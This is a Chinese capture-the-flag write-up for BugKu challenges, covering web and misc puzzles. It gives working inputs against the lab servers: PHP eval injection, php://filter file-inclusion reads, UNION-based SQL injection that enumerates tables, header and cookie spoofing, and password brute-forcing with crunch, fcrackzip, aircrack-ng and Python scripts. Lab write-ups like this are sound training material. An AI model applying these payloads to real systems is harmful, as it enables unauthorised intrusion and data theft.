BerL1n
BerL1n

BugKu-wp

前两天无意间翻到一个CTF平台--BugKu,记下wp

WEB

1.Web2

查看源代码即可得到flag

2.计算器：

输入框位数受到限制，只能输一位，F12修改位数


BugKu-wp_第1张图片
image.png

3.web基础$_GET


$what=$_GET['what'];

echo $what;

if($what=='flag')

echo 'flag{****}';

根据题意，直接将what赋值为flag去get提交
?what=flag

4.web基础$_POST

用post方式提交


BugKu-wp_第2张图片
image.png

5.矛盾

$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
BugKu-wp_第3张图片
image.png

观察题目，应该是使用is_numeric遇到%00截断的漏洞,这里构造
http://123.206.87.240:8002/get/index1.php?num=1%00

知识点：
is_numeric() 判断变量是否为数字或数字字符串，如果指定的变量是数字和数字字符串则返回 TRUE，否则返回 FALSE。不仅检查10进制，16进制是可以。

is_numeric函数对于空字符%00，无论是%00放在前后都可以判断为非数值，而%20空格字符只能放在数值后。所以，查看函数发现该函数对对于第一个空格字符会跳过空格字符判断，接着后面的判断！

该函数还可能造成sql注入，例如将‘1 or 1'转换为16进制形式，再传参，就可以造成sql注入

6.web3

界面有点不尽 的弹窗，应该是使用了大量的alert语句，直接查看网页源代码

最后一行是这样的

BugKu-wp_第4张图片
image.png

使用html解码，得到flag

7.域名解析

提示：听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag
需要在hosts文件修改以下，我是在linux下做的比较方便
修改/etc/hosts
添加 flag.baidu.com 123.206.87.240 到文件中
然后打开浏览器访问 flag.baidu.com 得到flag

8.你必须让他停下

打开网站后网页一直都在跳动，而且页面不同，猜测flag在其中的一些网页中，采用burp一帧帧的看，在Repeter多次go，很容易就得到了flag

9.本地包含

方法一

    对_REQUEST[]函数并不是很了解，百度得到它对get/Post都可以接受

    其中第一句话include“flag.php”说明该文件在本地

     第二句话要获得hello的值，由于hello为’hello’，所以无论在url栏中对hello赋任何值，都会全盘接受,其中var_dump（）是将a打印到界面中,在根据eval函数的特性(计算后面括号中的表达式)

根据这一特性，我们尝试将flag.php文件直接输出

构造如下：http://123.206.87.240:8003/?hello=1);print_r(file("./flag.php"));%23

使原文语句为


    eval(“var_dump(1);print_r(file(“./flag.php”))”)

方法二：

另外一种方法是直接对hello赋值为hello=file_get_contents('flag.php')

然后查按F12可以知道flag

10.变量1

根据代码得知只能get无符号字符串的args，而输入之后会返回$$args的值，提示flag再变量中，可以构造args=GLOBALS即可返回该全局变量数组的所有值，其中包括flag。

构造：http://123.206.87.240:8004/index1.php?args=GLOBALS

11.web5

查看源代码


BugKu-wp_第5张图片
image.png

发现了一大堆组合，考虑是JSFUCK，

直接将括号复制到谷歌浏览器的控制台运行得到flag


BugKu-wp_第6张图片
image.png

12. 头等舱

burp抓包：

BugKu-wp_第7张图片
image.png

13. 网站被黑

BugKu-wp_第8张图片
image.png

http://123.206.87.240:8002/webshell/
御剑后台扫描，发现shell.php

BugKu-wp_第9张图片
image.png

用burp自带的字典爆破，密码为hack

14.管理员系统

打开解题网址

BugKu-wp_第10张图片
image.png

很像sql注入的题,随便输入个账号先试试

BugKu-wp_第11张图片
image.png

看到这个就想到X-Forwarded-For

简称XFF头，它代表客户端，也就是HTTP的请求端真实的IP

伪造一个XFF头,伪装成本地登录

X-Forwarded_For: 127.0.0.1

在来看看源码
看到在源码的最后面有一个base64的编码


image.png

解密为test123,猜测应该是管理员密码

Burp抓包,然后转到Repeater模块中

BugKu-wp_第12张图片
image.png

Go得到了flag,转换为flag格式

15.Web4

源码：


BugKu-wp_第13张图片
image.png

查看网页源代码p1=%..%...；p2=%..%...

题目最后p1+%..%...+p2

先进行URL解码


p1=function checkSubmit(){var a=document.getElementById("password");if("undefined"!=typeof a){if("67d709b2b

p2=aa648cf6e87a7114f1"==a.value)return!0;alert("Error");a.focus();return!1}}document.getElementById("levelQuest").onsubmit=checkSubmit;

%35%34%61%61%32=54aa2

完整代码：

functioncheckSubmit(){

      vara=document.getElementById("password");

      if("undefined"!=typeof a){

            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

                  return!0;

            alert("Error");

            a.focus();

            return!1

      }

}

document.getElementById("levelQuest").onsubmit=checkSubmit;

则可知当传入的password值为67d709b2b54aa2aa648cf6e87a7114f1时返回真值得到flag。

16.flag在index里

将网页点开，在点击相应连接，网页地址栏变为:

http://123.206.87.240:8005/post/index.php?file=show.php

看到了file关键字，猜测为文件包含，看看用php://filter能否将index读出来
构造：
http://123.206.87.240:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

PGh0bWw+DQogICAgPHRpdGxlPkJ1Z2t1LWN0ZjwvdGl0bGU+DQogICAgDQo8P3BocA0KCWVycm9yX3JlcG9ydGluZygwKTsNCglpZighJF9HRVRbZmlsZV0pe2VjaG8gJzxhIGhyZWY9Ii4vaW5kZXgucGhwP2ZpbGU9c2hvdy5waHAiPmNsaWNrIG1lPyBubzwvYT4nO30NCgkkZmlsZT0kX0dFVFsnZmlsZSddOw0KCWlmKHN0cnN0cigkZmlsZSwiLi4vIil8fHN0cmlzdHIoJGZpbGUsICJ0cCIpfHxzdHJpc3RyKCRmaWxlLCJpbnB1dCIpfHxzdHJpc3RyKCRmaWxlLCJkYXRhIikpew0KCQllY2hvICJPaCBubyEiOw0KCQlleGl0KCk7DQoJfQ0KCWluY2x1ZGUoJGZpbGUpOyANCi8vZmxhZzpmbGFne2VkdWxjbmlfZWxpZl9sYWNvbF9zaV9zaWh0fQ0KPz4NCjwvaHRtbD4NCg==

得到base64解码，观察程序得到flag

17.输入密码查看flag

BugKu-wp_第14张图片
image.png

burp进行五位数弱密码爆破，密码为13579

18. 点击一百万次

题目要点击100万次才行，很显然不能
查看网页源代码，根据
if(clicks >= 1000000)
直接将clicks赋值为10000000（POST方法），查看结果
不能直接修改前端代码
得到flag


BugKu-wp_第15张图片
image.png

19.备份是个好习惯

打开网页d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e

将里面的东西解码,每个解码的方式都试过了，未果，观察里面的加密值，发现先后重复

将d41d8cd98f00b204e9800998ecf8427e解密

BugKu-wp_第16张图片
image.png

然后在flag中试了各种与空有关的东西，未果。

观察题目，说备份是个好习惯猜测应该与备份有关

小知识：

备份文件一般情况是在后缀名后加的.swp，.bak

http://120.24.86.145:8002/web16/ 默认访问的是该路径的index.php文件

看看里面有什么东西

http://120.24.86.145:8002/web16/index.php.bak

访问成功了，复原备份文件


include_once "flag.php";

ini_set("display_errors", 0);

$str = strstr($_SERVER['REQUEST_URI'], '?');

$str = substr($str,1);

$str = str_replace('key','',$str);

parse_str($str);

echo md5($key1);

echo md5($key2);

if(md5($key1) == md5($key2) && $key1 !== $key2){

echo $flag."取得flag";

要求key1和key2的md5值相等，但是值不相等

百度得这两个值为240610708和QNKCDZO，尝试赋值，并没有什么变化

继续观察源程序，发现程序中将key字符变为空，考虑用kkeyey取代key,


BugKu-wp_第17张图片
image.png

然后得到了flag

20.成绩单

看到题后首先想到的是sql注入
先爆数据库：
0' union select 1,user(),database(),4 -- +

BugKu-wp_第18张图片
image.png

爆表：
0' union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='skctf_flag' -- +

BugKu-wp_第19张图片
image.png

可以看到有俩表，flag应该在fl4g里

爆列：
-1' union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='fl4g' #

BugKu-wp_第20张图片
image.png

值：
-1' union select 1,skctf_flag,3,4 from fl4g#

BUGKU{Sql_INJECT0N_4813drd8hz4}

21.秋名山老司机

image.png

算数，无奈只能上脚本
这题不停刷新会看到


image.png

要post提交一个value数据，value就是结果值
福脚本：

import requests
import re

import base64

url='http://123.206.87.240:8002/qiumingshan/'

s=requests.session()

r=s.get(url)


searchObj = re.search(r'^
(.*)=\?;
$', r.text, re.M | re.S)

d = {
    "value": eval(searchObj.group(1))
}
r = s.post(url, data=d)
print(r.text)

运行结果得flag

22.速度要快

image.png

源码提示：
上脚本

import requests

import re

import base64

url='http://123.206.87.240:8002/web6/'

s=requests.session()

r=s.get(url)

flag=r.headers['flag']

print(flag)

flag1=base64.b64decode(flag)

print(flag1)

flag2=base64.b64decode(str(flag1).split(":")[1][1:-1])

#将flag分为两部分，[1:-1]就是获取到的值

print(flag2)

data={"margin":flag2}

r=s.post(url,data)

print(r.text)

23.cookies欺骗

点进来URL
http://123.206.87.240:8002/web11/index.php?line=&filename=a2V5cy50eHQ=
a2V5cy50eHQ=解码是keys.txt 所以替换成base64后的index.php。没作用，但line=1时出现一行php代码，可判定line为源码的行数
写脚本遍历获得源代码

import re

import requests

url='http://123.206.87.240:8002/web11/index.php?line=%d&filename=aW5kZXgucGhw'

for i in range(100):
 
    url1=url%i

    c1=requests.get(url1).text

    print(c1)

    if c1=='':
        break

php源码：

'keys.txt',

'1' =>'index.php',

);

if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';
}

if(in_array($file, $file_list)){

$fa = file($file);

echo $fa[$line];
}
?>

从源码中看出访问keys.php,然后cookie值要margin=margin。。
前提keys.php以base64形式访问a2V5cy5waHA=


BugKu-wp_第21张图片
image.png

24.never give up

源码提示：


never never never give up !!!

抓包
然后访问1p.html


BugKu-wp_第22张图片
image.png

会得到一堆base64，解密后是url编码，再解码

if(!$_GET['id'])
{
    header('Location: hello.php?id=1');
    exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
    echo 'no no no no no no no';
    return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
    require("f4l2a3g.txt");
}
else
{
    print "never never never give up !!!";
}


?>

直接访问f4l2a3g.txt 得到flag

MISC

1.签到题

直接关注公众号即可

2.这是一张简单的图片

将图片下载到本地，使用winhex打开图片，在末尾有一组数据信息

key{you are right}
BugKu-wp_第23张图片
image.png

html解码即可

3.隐写

打开发现是一张png格式的照片，放进StegSolve没发现啥
百度一下原来是改高度


这里写图片描述

找到IDR片段就是00 00 00 0D开头的，把其中的A4改为F4，得到flag


BugKu-wp_第24张图片
这里写图片描述

4.telnet

打开发现是一个数据包，用wireshark打开，查看整个包的信息，可以追踪一下TCP流，发现里面有一个flag


image.png

5.眼见非实

解压发现是个Word文档，尝试打开打不开，放进winhex里面看是504B0304开头的，一个zip文件，改后缀名再次打开，并在里面的document.xml发现flag


image.png

6.啊哒

拿到之后是一个jpg文件，先使用binwalk分析下文件，得到图片中隐藏了一段tiff信息以及一个压缩包，都分离出来，发现压缩包被加密了，

tiff信息在相机型号出处有一段十六进制，转换成字符串以后是sdnisc_2018,如下图所示：

BugKu-wp_第25张图片
image.png

使用这个密码解密压缩包，即可获得

7.又一张图片，还单纯吗？？

放进binwalk里跑一下，发现里面还有一张图片分离出来


BugKu-wp_第26张图片
image.png

没找到flag,foremost提取吧

# foremost 图片地址
root@kali:~/桌面# foremost 2.jpg
Processing: 2.jpg
|*|
root@kali:~/桌面# ls
2.jpg  output
root@kali:~/桌面# cd output/
root@kali:~/桌面/output# ls
audit.txt  jpg

这时会在当前目录生成output文件,打开文件就可以看到一张flag图片


BugKu-wp_第27张图片
image.png

8.猜

直接百度搜图，某刘姓女明星
key{liuyifei}

9.宽带信息泄露

看到是一个二进制文件，用RoutePassView打开，题目提示是用户名，便寻找用户名


BugKu-wp_第28张图片
image.png

flag{用户名}

10.隐写2

winhex打开没发现什么
使用binwalk查看信息


BugKu-wp_第29张图片
image.png

里面zip压缩文件
使用binwalk或者foremost分离
打开output文件，里面有一个zip文件

BugKu-wp_第30张图片
image

还有个提示


BugKu-wp_第31张图片
image.png

提示密码是三位数
创建字典

crunch 3 3 0123456789 -o password.txt

fcrackzip爆破

fcrackzip -D -p password.txt -u flag.rar -v
BugKu-wp_第32张图片
image.png

也可以脚本爆破

import zipfile
import os
 
def main():
    zip = zipfile.ZipFile("./123.zip","r",zipfile.zlib.DEFLATED)
    with open("./password.txt") as f:
        for data in f.readlines():
            try:
                print("\n[+] Trying the password ",data.strip())
                zip.extractall(path="./",pwd=data.strip().encode())
                print("\n[+] The password is",data.strip())
                zip.close()
                return 
            except Exception as e :
                print(e)
                pass
 
if __name__ == '__main__':
    main()

解压后得到一张图片
通过写字板打开获得f1@g{eTB1IEFyZSBhIGhAY2tlciE=}

很明显eTB1IEFyZSBhIGhAY2tlciE=是Base64加密，通过解密获得y0u Are a h@cker!

即f1@g{y0u Are a h@cker!}，提交时需要将f1@g变换为flag，即最终为flag{y0u Are a h@cker!}

11.多种方法解决

下载下来发现是一个exe文件，又打不开，放进Notepad++看一下，发现这是一个可以转图片的Base64
直接转换即可 http://base64.xpcha.com/ 是个二维码
扫一下获得key

BugKu-wp_第33张图片
image.png

12.linux

下载下来是一个linux下的压缩包，但这题不需要在linux下，解压后文件Notepad++打开并搜索关键字key得到flag
在linux下也行


BugKu-wp_第34张图片
image.png

13.闪的好快

一个变化的二维码
使用StegSolve查看帧数，共18，


BugKu-wp_第35张图片
image.png

一帧一帧扫完拼成flag

14.come_game

下载下来打开是个游戏
最后一关是flag,手残当根本过不去，另想别法


BugKu-wp_第36张图片
image.png

观察规律发现打开游戏后会生成Deathtime文件，应该是死亡时间，还有一个save文件应该是保存关数，于是想办法修改关数直接到最后一关，用winhex打开save文件

测试发现最后一关是第5关


BugKu-wp_第37张图片
image.png
BugKu-wp_第38张图片
image.png

flag: SYC{}

15.隐写3

感觉下面还有东西，于是就打算改高度，于是发现了flag


BugKu-wp_第39张图片
image.png
BugKu-wp_第40张图片
image.png
BugKu-wp_第41张图片
image.png

16.做个游戏(08067CTF)

提示：坚持60秒 相当难
下载下来jar文件，java反编译一下，


BugKu-wp_第42张图片
image.png

17想蹭网先解开密码

BugKu-wp_第43张图片
image.png 
# w 写模式，它是不能读的，如果用w模式打开一个已经存在的文件，会清空以前的文件内容，重新写
# w+ 是读写内容，只要沾上w，肯定会清空原来的文件 
with open('wifilist.txt','w+') as f:
    for i in range(0,10):
        for j in range(0,10):
            for k in range(0,10):
                for h in range(0,10):
                    f.write('1391040'+str(i)+str(j)+str(k)+str(h)+'\n')
f.close

用脚本先生成字典，然后爆破
kali命令爆破

aircrack-ng wifi.cap -w wifi.txt
BugKu-wp_第44张图片
image.png
BugKu-wp_第45张图片
image.png

得到flag

18.Linux2

直接解压Notepad++打开搜索key就有了，,,,

19.账号被盗了

访问链接,使用burpsuite抓包，修改Cookie,右键->Send to Repeater->go


image.png

将123.exe下载下来,打开是一个CF刷枪软件

BugKu-wp_第46张图片
image.png

使用wireshark抓包,账号密码随便填写


BugKu-wp_第47张图片
image.png
BugKu-wp_第48张图片
image.png

账号： YmtjdGZ0ZXN0QDE2My5jb20=

密码：YTEyMzQ1Ng==

将base64解密得到163邮箱，将密码解密是a123456,登录邮箱就可得到flag，


BugKu-wp_第49张图片
image.png

20. 细心的大象

lag格式 flag{xxx_xxx_xxx}

解压得到1.jpg图片

查看属性,发现有一段base64加密内容


BugKu-wp_第50张图片
image.png

解密得到明文,这应该是密码之类的，先放着

BugKu-wp_第51张图片
image.png

接下来 日常丢进kali binwalk 一下
分离 打开 要密码
把我们刚才的解密丢进去！成功！！
又是一张图片？
看图片应该是是改宽高

winhex修改高度


BugKu-wp_第52张图片
image.png

21.爆照(08067CTF)

留坑

你可能感兴趣的:(BugKu-wp)

  • BugKu-wp BerL1n
    前两天无意间翻到一个CTF平台--BugKu,记下wpWEB1.Web2查看源代码即可得到flag2.计算器：输入框位数受到限制，只能输一位，F12修改位数image.png3.web基础$_GET$what=$_GET['what'];echo$what;if($what=='flag')echo'flag{****}';根据题意，直接将what赋值为flag去get提交?what=flag4.
  • Java序列化进阶篇 g21121 java序列化
            1.transient         类一旦实现了Serializable 接口即被声明为可序列化，然而某些情况下并不是所有的属性都需要序列化，想要人为的去阻止这些属性被序列化，就需要用到transient 关键字。
  • escape()、encodeURI()、encodeURIComponent()区别详解 aigo JavaScriptWeb
    原文：http://blog.sina.com.cn/s/blog_4586764e0101khi0.html   JavaScript中有三个可以对字符串编码的函数，分别是： escape,encodeURI,encodeURIComponent，相应3个解码函数：,decodeURI,decodeURIComponent 。 下面简单介绍一下它们的区别 1 escape()函
  • ArcgisEngine实现对地图的放大、缩小和平移 Cb123456 添加矢量数据对地图的放大、缩小和平移Engine
    ArcgisEngine实现对地图的放大、缩小和平移:  个人觉得是平移，不过网上的都是漫游，通俗的说就是把一个地图对象从一边拉到另一边而已。就看人说话吧.  具体实现: 一、引入命名空间    using ESRI.ArcGIS.Geometry;    using ESRI.ArcGIS.Controls; 二、代码实现.
  • Java集合框架概述 天子之骄 Java集合框架概述
       集合框架 集合框架可以理解为一个容器，该容器主要指映射(map)、集合(set)、数组(array)和列表(list)等抽象数据结构。 从本质上来说，Java集合框架的主要组成是用来操作对象的接口。不同接口描述不同的数据类型。   简单介绍：   Collection接口是最基本的接口，它定义了List和Set，List又定义了LinkLi
  • 旗正4.0页面跳转传值问题 何必如此 javajsp
    跳转和成功提示 a)        成功字段非空forward 成功字段非空forward，不会弹出成功字段，为jsp转发，页面能超链接传值,传输变量时需要拼接。接拼接方式list.jsp?test="+strweightUnit+"或list.jsp?test="+weightUnit+&qu
  • 全网唯一:移动互联网服务器端开发课程 cocos2d-x小菜 web开发移动开发移动端开发移动互联程序员
        移动互联网时代来了！     App市场爆发式增长为Web开发程序员带来新一轮机遇，近两年新增创业者，几乎全部选择了移动互联网项目！传统互联网企业中超过98%的门户网站已经或者正在从单一的网站入口转向PC、手机、Pad、智能电视等多端全平台兼容体系。据统计，AppStore中超过85%的App项目都选择了PHP作为后端程
  • Log4J通用配置|注意问题 笔记 7454103 DAOapachetomcatlog4jWeb
    关于日志的等级 那些去 百度就知道了！ 这几天 要搭个新框架  配置了 日志 记下来 ！做个备忘！ #这里定义能显示到的最低级别,若定义到INFO级别,则看不到DEBUG级别的信息了~! log4j.rootLogger=INFO,allLog # DAO层 log记录到dao.log 控制台 和 总日志文件 log4j.logger.DAO=INFO,dao,C
  • SQLServer TCP/IP 连接失败问题 ---SQL Server Configuration Manager darkranger sqlcwindowsSQL ServerXP
    当你安装完之后,连接数据库的时候可能会发现你的TCP/IP 没有启动.. 发现需要启动客户端协议 : TCP/IP  需要打开 SQL Server Configuration Manager... 却发现无法打开 SQL Server Configuration Manager..?? 解决方法:  C:\WINDOWS\system32目录搜索framedyn.
  • [置顶] 做有中国特色的程序员 aijuans 程序员
    从出版业说起 网络作品排到靠前的，都不会太难看，一般人不爱看某部作品也是因为不喜欢这个类型，而此人也不会全不喜欢这些网络作品。究其原因，是因为网络作品都是让人先白看的，看的好了才出了头。而纸质作品就不一定了，排行榜靠前的，有好作品，也有垃圾。 许多大牛都是写了博客，后来出了书。这些书也都不次，可能有人让为不好，是因为技术书不像小说，小说在读故事，技术书是在学知识或温习知识，有些技术书读得可
  • document.domain 跨域问题 avords document
    document.domain用来得到当前网页的域名。比如在地址栏里输入：javascript:alert(document.domain); //www.315ta.com我们也可以给document.domain属性赋值，不过是有限制的，你只能赋成当前的域名或者基础域名。比如：javascript:alert(document.domain = "315ta.com");
  • 关于管理软件的一些思考 houxinyou 管理
    工作好多看年了,一直在做管理软件,不知道是我最开始做的时候产生了一些惯性的思维,还是现在接触的管理软件水平有所下降.换过好多年公司,越来越感觉现在的管理软件做的越来越乱. 在我看来,管理软件不论是以前的结构化编程,还是现在的面向对象编程,不管是CS模式,还是BS模式.模块的划分是很重要的.当然,模块的划分有很多种方式.我只是以我自己的划分方式来说一下. 做为管理软件,就像现在讲究MVC这
  • NoSQL数据库之Redis数据库管理(String类型和hash类型) bijian1013 redis数据库NoSQL
    一.Redis的数据类型 1.String类型及操作         String是最简单的类型，一个key对应一个value，string类型是二进制安全的。Redis的string可以包含任何数据，比如jpg图片或者序列化的对象。         Set方法：设置key对应的值为string类型的value
  • Tomcat 一些技巧 征客丶 javatomcatdos
    以下操作都是在windows 环境下 一、Tomcat 启动时配置 JAVA_HOME 在 tomcat 安装目录，bin 文件夹下的 catalina.bat 或 setclasspath.bat 中添加 set JAVA_HOME=JAVA 安装目录 set JRE_HOME=JAVA 安装目录/jre 即可； 二、查看Tomcat 版本 在 tomcat 安装目
  • 【Spark七十二】Spark的日志配置 bit1129 spark
    在测试Spark Streaming时，大量的日志显示到控制台，影响了Spark Streaming程序代码的输出结果的查看(代码中通过println将输出打印到控制台上)，可以通过修改Spark的日志配置的方式，不让Spark Streaming把它的日志显示在console   在Spark的conf目录下，把log4j.properties.template修改为log4j.p
  • Haskell版冒泡排序 bookjovi 冒泡排序haskell
    面试的时候问的比较多的算法题要么是binary search，要么是冒泡排序，真的不想用写C写冒泡排序了，贴上个Haskell版的，思维简单，代码简单，下次谁要是再要我用C写冒泡排序，直接上个haskell版的，让他自己去理解吧。     sort [] = [] sort [x] = [x] sort (x:x1:xs) | x>x1 = x1:so
  • java 路径 配置文件读取 bro_feng java
    这几天做一个项目，关于路径做如下笔记，有需要供参考。 取工程内的文件，一般都要用相对路径，这个自然不用多说。 在src统计目录建配置文件目录res,在res中放入配置文件。 读取文件使用方式： 1. MyTest.class.getResourceAsStream("/res/xx.properties") 2. properties.load(MyTest.
  • 读《研磨设计模式》-代码笔记-简单工厂模式 bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ package design.pattern; /* * 个人理解：简单工厂模式就是IOC; * 客户端要用到某一对象，本来是由客户创建的，现在改成由工厂创建，客户直接取就好了 */ interface IProduct {
  • SVN与JIRA的关联 chenyu19891124 SVN
    SVN与JIRA的关联一直都没能装成功，今天凝聚心思花了一天时间整合好了。下面是自己整理的步骤： 一、搭建好SVN环境，尤其是要把SVN的服务注册成系统服务 二、装好JIRA，自己用是jira-4.3.4破解版 三、下载SVN与JIRA的插件并解压，然后拷贝插件包下lib包里的三个jar，放到Atlassian\JIRA 4.3.4\atlassian-jira\WEB-INF\lib下，再
  • JWFDv0.96 最新设计思路 comsci 数据结构算法工作企业应用公告
                       随着工作流技术的发展，工作流产品的应用范围也不断的在扩展，开始进入了像金融行业(我已经看到国有四大商业银行的工作流产品招标公告了)，实时生产控制和其它比较重要的工程领域，而
  • vi 保存复制内容格式粘贴 daizj vi粘贴复制保存原格式不变形
        vi是linux中非常好用的文本编辑工具，功能强大无比，但对于复制带有缩进格式的内容时，粘贴的时候内容错位很严重，不会按照复制时的格式排版，vi能不能在粘贴时，按复制进的格式进行粘贴呢？ 答案是肯定的，vi有一个很强大的命令可以实现此功能 。     在命令模式输入:set paste，则进入paste模式，这样再进行粘贴时
  • shell脚本运行时报错误：/bin/bash^M: bad interpreter 的解决办法 dongwei_6688 shell脚本
    出现原因：windows上写的脚本，直接拷贝到linux系统上运行由于格式不兼容导致 解决办法： 1. 比如文件名为myshell.sh，vim myshell.sh 2. 执行vim中的命令 : set ff?查看文件格式，如果显示fileformat=dos，证明文件格式有问题 3. 执行vim中的命令 :set fileformat=unix 将文件格式改过来就可以了，然后:w
  • 高一上学期难记忆单词 dcj3sjt126com wordenglish
    honest 诚实的；正直的 argue 争论 classical 古典的 hammer 锤子 share  分享；共有 sorrow 悲哀；悲痛 adventure 冒险 error 错误；差错 closet 壁橱；储藏室 pronounce 发音；宣告 repeat 重做；重复 majority 大多数；大半   native 本国的，本地的，本国
  • hibernate查询返回DTO对象，DTO封装了多个pojo对象的属性 frankco POJOhibernate查询DTO
          DTO-数据传输对象；pojo-最纯粹的java对象与数据库中的表一一对应。       简单讲：DTO起到业务数据的传递作用，pojo则与持久层数据库打交道。         有时候我们需要查询返回DTO对象，因为DTO
  • Partition List hcx2013 partition
    Given a linked list and a value x, partition it such that all nodes less than x come before nodes greater than or equal to x. You should preserve the original relative order of th
  • Spring MVC测试框架详解——客户端测试 jinnianshilongnian
    上一篇《Spring MVC测试框架详解——服务端测试》已经介绍了服务端测试，接下来再看看如果测试Rest客户端，对于客户端测试以前经常使用的方法是启动一个内嵌的jetty/tomcat容器，然后发送真实的请求到相应的控制器；这种方式的缺点就是速度慢；自Spring 3.2开始提供了对RestTemplate的模拟服务器测试方式，也就是说使用RestTemplate测试时无须启动服务器，而是模拟一
  • 关于推荐个人观点 liyonghui160com 推荐系统关于推荐个人观点
        回想起来，我也做推荐了3年多了，最近公司做了调整招聘了很多算法工程师，以为需要多么高大上的算法才能搭建起来的，从实践中走过来，我只想说【不是这样的】     第一次接触推荐系统是在四年前入职的时候，那时候，机器学习和大数据都是没有的概念，什么大数据处理开源软件根本不存在，我们用多台计算机web程序记录用户行为，用.net的w
  • 不间断旋转的动画 pangyulei 动画
    CABasicAnimation* rotationAnimation; rotationAnimation = [CABasicAnimation animationWithKeyPath:@"transform.rotation.z"]; rotationAnimation.toValue = [NSNumber numberWithFloat: M
  • 自定义annotation sha1064616837 javaenumannotationreflect
    对象有的属性在页面上可编辑，有的属性在页面只可读，以前都是我们在页面上写死的，时间一久有时候会混乱，此处通过自定义annotation在类属性中定义。越来越发现Java的Annotation真心很强大，可以帮我们省去很多代码，让代码看上去简洁。 下面这个例子 主要用到了 1.自定义annotation：@interface，以及几个配合着自定义注解使用的几个注解 2.简单的反射 3.枚举
  • Spring 源码 up2pu spring
    1.Spring源代码 https://github.com/SpringSource/spring-framework/branches/3.2.x 注：兼容svn检出 2.运行脚本 import-into-eclipse.bat 注：需要设置JAVA_HOME为jdk 1.7 build.gradle compileJava { sourceCompatibilit
  • 利用word分词来计算文本相似度 yangshangchuan wordword分词文本相似度余弦相似度简单共有词
    word分词提供了多种文本相似度计算方式： 方式一：余弦相似度，通过计算两个向量的夹角余弦值来评估他们的相似度 实现类：org.apdplat.word.analysis.CosineTextSimilarity 用法如下： String text1 = "我爱购物"; String text2 = "我爱读书"; String text3 =
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他